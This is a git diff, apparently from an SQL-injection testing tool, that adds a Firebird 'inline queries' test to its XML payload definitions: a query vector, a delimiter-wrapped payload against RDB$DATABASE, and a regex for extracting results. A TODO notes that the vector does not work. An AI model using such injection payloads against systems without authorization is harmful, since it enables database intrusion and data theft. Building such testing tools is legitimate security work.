diff --git a/xml/payloads.xml b/xml/payloads.xml
index d9cb48b22..ad3c4c9e9 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1996,6 +1996,25 @@ Formats:
             <dbms>SQLite</dbms>
         </details>
     </test>
+    <test>
+        <title>Firebird inline queries</title>
+        <stype>6</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1,2,3,8</clause>
+        <where>3</where>
+        <!-- TODO: this vector does not work in Firebird -->
+        <vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
+        <request>
+            <payload>SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Firebird</dbms>
+        </details>
+    </test>
     <!-- End of inline queries tests -->